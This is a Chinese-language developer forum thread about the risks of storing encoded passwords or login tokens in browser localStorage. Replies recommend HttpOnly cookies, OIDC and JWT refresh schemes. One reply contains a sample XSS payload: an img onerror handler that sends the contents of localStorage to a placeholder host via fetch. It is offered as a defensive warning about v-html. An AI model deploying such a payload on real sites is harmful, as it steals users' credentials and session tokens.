V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
V2EX 提问指南
yjim
V2EX  ›  问与答

如何破解前端保存的用户密码?

  •  
  •   yjim · 2023-02-25 17:53:03 +08:00 · 2352 次点击
    这是一个创建于 424 天前的主题,其中的信息可能已经有所发展或是发生改变。

    前端用 Vue 框架搭建的,生成一串密钥保存在 .env 里

    使用 hashids 把用户密码加密保存到 localStorage ,在登录界面 取出密文用 hashids 解密,再自动填充到 password 中。

    1. 这种情况下,攻击者如何取出并解密得到用户的密码?
    2. 前端应该如何保存密码或者 token 来实现免登录?
    29 条回复    2023-02-27 13:04:58 +08:00
    sheeta
        1
    sheeta  
       2023-02-25 17:57:17 +08:00   ❤️ 1
    掩耳盗铃...
    renmu
        2
    renmu  
       2023-02-25 18:26:27 +08:00 via Android
    你怎么解密他就怎么解密,所以你为什么要把密码存在本地
    wunonglin
        3
    wunonglin  
       2023-02-25 18:27:48 +08:00
    hashids 放前端用?
    yaott2020
        4
    yaott2020  
       2023-02-25 18:29:26 +08:00 via Android
    建议上 OIDC
    DoveAz
        5
    DoveAz  
       2023-02-25 18:31:50 +08:00
    为什么要破解,我把你加密的密码存到我的 locaostorage 不就行了
    okakuyang
        6
    okakuyang  
       2023-02-25 18:34:34 +08:00
    1.攻击者要找到脚本漏洞使用 xss 攻击方式获取用户密码
    2.应该保存 token 登陆,而不是密码明文。
    yjim
        7
    yjim  
    OP
       2023-02-25 18:41:33 +08:00
    @renmu 那你就理解成 jwt 吧,目的是免登录

    @wunonglin 前后端都可以用吧,没在前端用过,理论上前端是透明的 道理我懂,只是一个不成熟的想法,想问问行不行得通,不行就算了。

    @yaott2020 就是用的 jwt ,现在在思考前端如何保存 token , 总不能每次都登录一下吧。

    @DoveAz 感谢提醒, 一下子没想到这个。

    @okakuyang 我以为 token 和密码是一样的,怎么保存密码就怎么保存 token ,密码怎么泄漏的,token 就怎么泄漏,泄漏 token ,攻击者就能以你的身份进行操作了。。
    yjim
        8
    yjim  
    OP
       2023-02-25 18:43:53 +08:00
    @renmu @wunonglin @yaott2020 @DoveAz @okakuyang

    思考了一下,前端也不搞花里胡哨了,直接明文存 token ,后台对 token 和 IP +mac 绑定,校验 token 的同时校验 ip 和 mac ,如果不一致则校验失败,这样做还有风险么??
    yaott2020
        9
    yaott2020  
       2023-02-25 18:46:21 +08:00 via Android
    @yjim 你这样保障安全性局限太大了吧
    okakuyang
        10
    okakuyang  
       2023-02-25 18:48:13 +08:00
    @yjim 那估计动不动就要重新登陆了
    yjim
        11
    yjim  
    OP
       2023-02-25 18:56:16 +08:00
    @yaott2020 比如?


    @okakuyang 就我了解到的,现在的网络供应商一般都是 48 小时才重置一次 IP 吧,然后我这服务不是面向公众的,用户基本上都是在稳定的设备上登录使用,不至于动不动就要重新登录吧。

    然后校验 ip 和 mac 只是一个思路 /方向。
    a33291
        12
    a33291  
       2023-02-25 19:06:08 +08:00
    只要明文传输,fiddler 抓一下就能看到,甚至都不需要知道他怎么加密的
    yjim
        13
    yjim  
    OP
       2023-02-25 19:07:20 +08:00
    @a33291 请求必然是 https 的
    wangxiaoaer
        14
    wangxiaoaer  
       2023-02-25 19:07:34 +08:00
    我就没搞懂,你前面搞这么复杂,后端请求难道不验证了吗?如果验证携带什么?如果不验证就类似开放的系统,破了其他用户密码有毛用?
    Senorsen
        15
    Senorsen  
       2023-02-25 19:14:48 +08:00
    MAC 怎么拿的??
    rabbbit
        16
    rabbbit  
       2023-02-25 19:14:48 +08:00
    如果部分地方用了 v-html 渲染用户输入的内容 ,则可能被通过 XSS 攻击的方式获取到密码,例如:

    <div v-html="content"></div>
    content:'<img src="" onerror="fetch(`http://127.0.0.1/${JSON.stringify(localStorage)}`)" />'
    yjim
        17
    yjim  
    OP
       2023-02-25 19:20:47 +08:00
    @rabbbit vue 安全页面里有强调过这个,v-html 能不用就不用,用的话要对能容进行 xssfilter
    rabbbit
        18
    rabbbit  
       2023-02-25 19:21:06 +08:00
    想要安全就用 cookies ,然后设置 Secure 和 HttpOnly
    yjim
        19
    yjim  
    OP
       2023-02-25 19:25:52 +08:00
    @Senorsen 只是一个思路,不一定非要是 mac ,像一些大厂,你异地登录就能识别出来,然后要求手机验证,总有办法进行识别的。我原先想着在前端做一些保护,比如加密存储 token ,不过看起来前端是彻底暴露的,所以重点还是要在后端做好防护才行。
    yjim
        20
    yjim  
    OP
       2023-02-25 19:26:19 +08:00
    @rabbbit 感谢提醒,我去了解下这个
    yaott2020
        21
    yaott2020  
       2023-02-25 20:05:32 +08:00 via Android
    @yjim 比如我 wifi 数据互相切换,ip mac 全变了,不就得要重新登陆
    yaott2020
        22
    yaott2020  
       2023-02-25 20:06:32 +08:00 via Android
    你不如设置 cookie 存个 token ,设置过期时间
    blankmiss
        23
    blankmiss  
       2023-02-25 21:37:35 +08:00
    @yjim https 也一样抓啊
    yjim
        24
    yjim  
    OP
       2023-02-25 22:58:02 +08:00
    @blankmiss https 怎么抓?中间人攻击?
    blankmiss
        25
    blankmiss  
       2023-02-26 13:16:03 +08:00
    @yjim fiddler 类似这种需要添加 https 证书的抓包软件就行了
    leaflxh
        26
    leaflxh  
       2023-02-26 16:58:01 +08:00
    可以考虑非对称加密,客户端拿公钥加密存到本地,然后把密文发到服务端用私钥解密
    leaflxh
        27
    leaflxh  
       2023-02-26 16:58:35 +08:00
    (没用过 jwt
    zhengfan2016
        28
    zhengfan2016  
       2023-02-26 17:09:26 +08:00
    没看懂帖子想说什么,如果是 jwt 的话,前端保存 token 到 localstorage 就好了,jwt 指定一个小时过期,即将过期的前半个小时,前端判断快过期了,自己调用接口用旧 token 去更换新 token 。

    只要用户一直在线四处浏览网页,就不会掉登录。

    闲麻烦就用双 token ,一个时效长一点的 token(14 天)和时效一个小时的 token ,平时只用短时效的 tolen 请求 api ,token 快过期了,再用长 token 去刷新短 token
    yjim
        29
    yjim  
    OP
       2023-02-27 13:04:58 +08:00
    @blankmiss 防黑客不防用户自己,像你说的这种,前端防御更没意义。。。原主题的结果是前端防黑客也没啥大用。还是得后端配合。


    @leaflxh jwt 也是生成密钥发给前端,我讨论的是前端 web 怎么存这个密钥来防黑客模拟用户身份进行操作。已得出初步结论:防不住,得后端来做校验
    关于   ·   帮助文档   ·   博客   ·   API   ·   FAQ   ·   我们的愿景   ·   实用小工具   ·   5201 人在线   最高记录 6543   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 30ms · UTC 09:29 · PVG 17:29 · LAX 02:29 · JFK 05:29
    Developed with CodeLauncher
    ♥ Do have faith in what you're doing.